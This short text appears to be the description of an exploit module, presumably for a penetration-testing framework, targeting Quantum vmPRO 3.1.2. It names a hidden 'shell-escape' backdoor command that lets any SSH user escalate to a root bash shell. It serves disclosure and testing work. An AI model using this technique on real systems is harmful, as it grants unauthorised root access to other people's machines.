|
|
This module abuses a backdoor command in Quantum vmPRO. Any user, even one without admin
|
|
privileges, can get access to the restricted SSH shell. By using the hidden backdoor
|
|
"shell-escape" command it's possible to drop to a real root bash shell. This module
|
|
has been tested successfully on Quantum vmPRO 3.1.2.
